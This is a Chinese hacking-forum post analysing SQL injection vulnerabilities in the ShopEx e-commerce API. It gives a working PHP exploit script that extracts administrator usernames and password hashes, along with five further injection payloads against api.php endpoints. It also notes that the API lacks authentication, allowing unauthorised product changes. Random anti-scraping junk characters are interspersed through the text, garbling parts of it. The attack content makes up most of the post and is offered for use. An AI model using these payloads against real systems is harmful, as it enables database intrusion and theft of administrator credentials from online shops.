找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1977|回复: 0
打印 上一主题 下一主题

shopEx最新版的API注入漏洞分析附利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:34:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php" s0 [% g6 N8 R9 k* p
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php
' j- e: \, H7 h9 X( m' h7 F# q; `! d5 m
第44行 $data['columns'] 未做过滤导致注入
; r4 t% ?3 h3 G8 B  H) h1 C* |: [$ k
<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
3 z1 S) k+ k: q9 T4 m& f+ b: _4 w/ R% u; P2 Z3 c$ {6 i1 n& u
注射1:
6 R5 m1 h% p  d4 t2 E' v+ x: ~/ E
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#
# j4 a' D& r6 L  Y5 ~- Y9 N& [4 t7 H8 q0 B* x, t6 O. r7 x: }
注射2:
$ i: b4 f: ~  G7 u0 b! xhttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
$ I, b$ t. m& [4 w. [6 {- H  }
& e9 }! Z* I; a8 I9 s3 W注射3:! u7 i2 z' T/ O5 e9 o: R* m& {
  http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
* g6 {. G% n% s* ?8 k) n注射4:
6 d3 f7 [( {* s
' o1 A) q) j' e0 Ohttp://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=14 K$ e# q4 c+ e
; i! b  @7 m& H' z. h/ ~5 O
3 n2 f2 q* n5 m# L2 z# i& Y$ l( U
注射5:
1 i3 }# t3 N2 t/ j" [1 U, @2 Y  http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx0 z8 D: |  ^0 i/ h' g! K4 s

$ M6 v* P, e. }; Q# \0 c' U& a1 U: ~/ N) {; t. W! q* W; p, _( w

9 L5 K( P1 @$ W$ i5 X5 K
% H5 K, }8 O& Y: V# I* \- z- q+ k
+ X0 Z6 @" t- m1 l/ J3 S- ~& S5 S2 T: P/ u1 E8 I" f
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表